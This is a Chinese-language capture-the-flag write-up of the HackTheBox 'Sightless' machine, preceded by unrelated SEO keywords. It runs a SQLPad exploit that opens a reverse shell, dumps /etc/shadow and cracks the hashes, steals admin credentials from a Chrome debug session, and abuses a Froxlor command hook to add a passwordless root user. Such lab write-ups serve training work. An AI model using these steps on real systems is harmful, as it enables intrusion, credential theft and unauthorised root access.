网站建设人员岗位要求,网站做的图上传后字变得很模糊,有没有帮别人做网站,网站建设错误要点目录
连接至HTB服务器并启动靶机
使用nmap对靶机TCP端口进行开放扫描
继续使用nmap对靶机开放的TCP端口进行脚本、服务扫描
首先尝试对靶机FTP服务进行匿名登录
使用curl访问靶机80端口
使用浏览器可以直接访问该域名
使用浏览器直接访问该子域
Getshell
横向移动
查…目录
连接至HTB服务器并启动靶机
使用nmap对靶机TCP端口进行开放扫描
继续使用nmap对靶机开放的TCP端口进行脚本、服务扫描
首先尝试对靶机FTP服务进行匿名登录
使用curl访问靶机80端口
使用浏览器可以直接访问该域名
使用浏览器直接访问该子域
Getshell
横向移动
查看用户密码
使用hashid判断哈希值类型
特权提升
USER_FLAGfe4ebd430e1070f00793fce61187ebb1
查看靶机系统网络连接
直接用浏览器访问本地8080端口页面
使用上述凭证登录到Froxlor面板中
ROOT_FLAGd24b4ff4e9f46a64036377b1a5cd5d33 连接至HTB服务器并启动靶机 靶机IP10.10.11.32 分配IP10.10.14.12 使用nmap对靶机TCP端口进行开放扫描
nmap -p- --min-rate1500 -T5 -sS -Pn 10.10.11.32 ┌──(root㉿kali)-[/home/kali/Desktop/temp] └─# nmap -p- --min-rate1500 -T5 -sS -Pn 10.10.11.32 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-09 06:07 EST Warning: 10.10.11.32 giving up on port because retransmission cap hit (2). Nmap scan report for 10.10.11.32 (10.10.11.32) Host is up (0.073s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 44.72 seconds 继续使用nmap对靶机开放的TCP端口进行脚本、服务扫描
nmap -p 21,22,80 -sCV 10.10.11.32 首先尝试对靶机FTP服务进行匿名登录
ftp 10.10.11.32 ┌──(root㉿kali)-[/home/kali/Desktop/temp] └─# ftp 10.10.11.32 Connected to 10.10.11.32. 220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.10.11.32] Name (10.10.11.32:kali): anonymous 550 SSL/TLS required on the control channel ftp: Login failed ftp exit 221 Goodbye. 使用curl访问靶机80端口
curl -I http://10.10.11.32 ┌──(root㉿kali)-[/home/kali/Desktop/temp] └─# curl -I http://10.10.11.32 HTTP/1.1 302 Moved Temporarily Server: nginx/1.18.0 (Ubuntu) Date: Sat, 09 Nov 2024 10:58:54 GMT Content-Type: text/html Content-Length: 154 Connection: keep-alive Location: http://sightless.htb/ 将靶机IP与该域名进行绑定
echo 10.10.11.32 sightless.htb /etc/hosts
使用浏览器可以直接访问该域名 先对该域名进行一遍简单的子域名搜索
ffuf -u http://sightless.htb/ -H Host: FUZZ.sightless.htb -w ../dictionary/subdomains-top5000.txt -fc 302 再对它进行敏感文件和路径FUZZ
ffuf -u http://sightless.htb/FUZZ -w ../dictionary/Half-Dir.txt -e .bak,.txt,.php,.py,.sh -t 200 这里也是没扫出什么东西来只能从网页本身的交互点测试
在SQLPad这一栏中点击Start Now会跳转至sqlpad.sightless.htb 将该子域与靶机IP进行绑定
echo 10.10.11.32 sqlpad.sightless.htb /etc/hosts
使用浏览器直接访问该子域
显然这里就是我们找的突破口 我尝试直接在Github上搜索该应用的漏洞 不知道靶机该SQLPad是否存在该漏洞CVE-2022-0944但不影响我尝试一下 Getshell
本地侧nc开始监听
nc -lvnp 1425
直接利用该EXP尝试getshell
python exploit.py http://sqlpad.sightless.htb/ 10.10.14.12 1425 ┌──(root㉿kali)-[/home/kali/Desktop/temp] └─# python exploit.py http://sqlpad.sightless.htb/ 10.10.14.12 1425 Response status code: 400 Response body: {title:connect ECONNREFUSED 127.0.0.1:3306} Exploit sent, but server responded with status code: 400. Check your listener. 本地侧nc收到回显 ┌──(root㉿kali)-[/home/kali/Desktop/temp] └─# nc -lvnp 1425 listening on [any] 1425 ... connect to [10.10.14.12] from (UNKNOWN) [10.10.11.32] 35302 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell rootc184118df0a6:/var/lib/sqlpad# whoami whoami root 我没看错吧直接就是root权限了尝试查找root_flag的位置
find / -name root.txt rootc184118df0a6:/var/lib/sqlpad# find / -name root.txt find / -name root.txt find: /sys/devices/virtual/powercap/dtpm: Permission denied 提示没有权限果然是不出我所料甚至连user_flag都没有权限查看 横向移动
查看根目录
ls / rootc184118df0a6:/var/lib/sqlpad# ls / ls / bin boot dev docker-entrypoint etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var 可见目录docker-entrypoint所以我们应该是在docker环境中
查看系统内的用户
cat /etc/passwd
允许登录交互的用户有root、node、michael 查看用户密码
cat /etc/shadow rootc184118df0a6:/var/lib/sqlpad# cat /etc/shadow cat /etc/shadow root:$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.:19858:0:99999:7::: daemon:*:19051:0:99999:7::: bin:*:19051:0:99999:7::: sys:*:19051:0:99999:7::: sync:*:19051:0:99999:7::: games:*:19051:0:99999:7::: man:*:19051:0:99999:7::: lp:*:19051:0:99999:7::: mail:*:19051:0:99999:7::: news:*:19051:0:99999:7::: uucp:*:19051:0:99999:7::: proxy:*:19051:0:99999:7::: www-data:*:19051:0:99999:7::: backup:*:19051:0:99999:7::: list:*:19051:0:99999:7::: irc:*:19051:0:99999:7::: gnats:*:19051:0:99999:7::: nobody:*:19051:0:99999:7::: _apt:*:19051:0:99999:7::: node:!:19053:0:99999:7::: michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:19860:0:99999:7::: 这里重点是michael用户的密码但也先暂时也记一下root用户哈希密码没准后续能用上
root:$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.
michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/
将两条哈希值保存到文件中便于爆破 ┌──(root㉿kali)-[/home/kali/Desktop/temp] └─# echo $6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/ michael ┌──(root㉿kali)-[/home/kali/Desktop/temp] └─# echo $6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b. root 使用hashid判断哈希值类型 ┌──(root㉿kali)-[/home/kali/Desktop/temp] └─# hashid michael Analyzing $6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/ [] SHA-512 Crypt ┌──(root㉿kali)-[/home/kali/Desktop/temp] └─# hashid root Analyzing $6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b. [] SHA-512 Crypt 通过man命令查询SHA-512在hashcat中的参数 直接开始爆破居然提示没有加载到hash
hashcat -m 1700 michael ../dictionary/rockyou.txt 这种情况多数是因为哈希类型选错了这次我们试一下1800 这次成功爆破出了密码
hashcat -m 1800 michael ../dictionary/rockyou.txt 账户michael 密码insaneclownposse 接下来我用弱口令字典跑了ROOT用户的哈希值差不多三分钟 账户root 密码blindside 用这个密码直接去登录SSH服务显然是不行的 ┌──(root㉿kali)-[/home/kali/Desktop/temp] └─# ssh root10.10.11.32 root10.10.11.32s password: Permission denied, please try again. root10.10.11.32s password: Permission denied, please try again. root10.10.11.32s password: root10.10.11.32: Permission denied (publickey,password). 特权提升
使用michael用户凭证通过SSH服务登录靶机
ssh michael10.10.11.32 ┌──(root㉿kali)-[/home/kali/Desktop/temp] └─# ssh michael10.10.11.32 michael10.10.11.32s password: Last login: Sat Nov 9 12:08:37 2024 from 10.10.14.18 michaelsightless:~$ whoami michael 查找user_flag位置并查看其内容 michaelsightless:~$ find / -name user.txt 2/dev/null /home/michael/user.txt michaelsightless:~$ cat /home/michael/user.txt fe4ebd430e1070f00793fce61187ebb1 USER_FLAGfe4ebd430e1070f00793fce61187ebb1 查看靶机系统网络连接
ss -tlnp 尝试通过SSH服务将靶机8080端口映射到本地
ssh -N michael10.10.11.32 -L 8080:localhost:8080
直接用浏览器访问本地8080端口页面 此时观察靶机系统进程可见john用户在不断的运行Chrome自动化调试程序(chromedriver)
ps -aux | tee | grep john 我们将这个调试程序占用的端口映射到本地
ssh -N michael10.10.11.32 -L 59025:localhost:59025
再次查看靶机网络连接 因为不知道该程序还用了哪些端口进行调试所以我们多转发几个可疑端口
ssh -N michael10.10.11.32 -L 41829:localhost:41829
ssh -N michael10.10.11.32 -L 36607:localhost:36607
打开Chrome浏览器地址栏输入chrome://inspect/#devices。进入调试配置界面 点击Configure配置好转发端口这里最好用127.0.0.1不要用localhost 接着就能收到一堆目标向http://admin.sightless.htb:8080/index.php的调试
接着点击inspect即可进入调试界面
依此点击Network-index.php-Payload。即可获取登录密码 账户admin 密码ForlorfroxAdmin 使用上述凭证登录到Froxlor面板中 在翻找了一顿后找到了这个东东PHP-FPM PHP - FPM是一种基于FastCGI协议的PHP进程管理器它负责启动、管理PHP进程根据服务器负载动态调整进程数量接收Web服务器的PHP请求有效处理并返回结果能提高性能、优化内存管理、增强系统稳定性且具有配置灵活性。 这个位置似乎允许我们执行命令 我尝试往/etc/passwd加入一个无密码管理员用户
首先在靶机/tmp目录下新建一个脚本内容如下
echo echo 0dayhp::0:0:0dayhp:/root:/bin/bash /etc/passwd test.sh 再将restart command修改为/bin/bash /tmp/test.sh 过一会再查看/etc/passwd文件会发现无密码管理员用户已经被成功添加
cat /etc/passwd 切换到0dayhp用户
su 0dayhp michaelsightless:/tmp$ su 0dayhp rootsightless:/tmp# whoami root 查找root_flag位置并查看其内容 rootsightless:/tmp# find / -name root.txt /root/root.txt find: ‘/proc/1647/task/1647/net’: Invalid argument find: ‘/proc/1647/net’: Invalid argument rootsightless:/tmp# cat /root/root.txt d24b4ff4e9f46a64036377b1a5cd5d33 ROOT_FLAGd24b4ff4e9f46a64036377b1a5cd5d33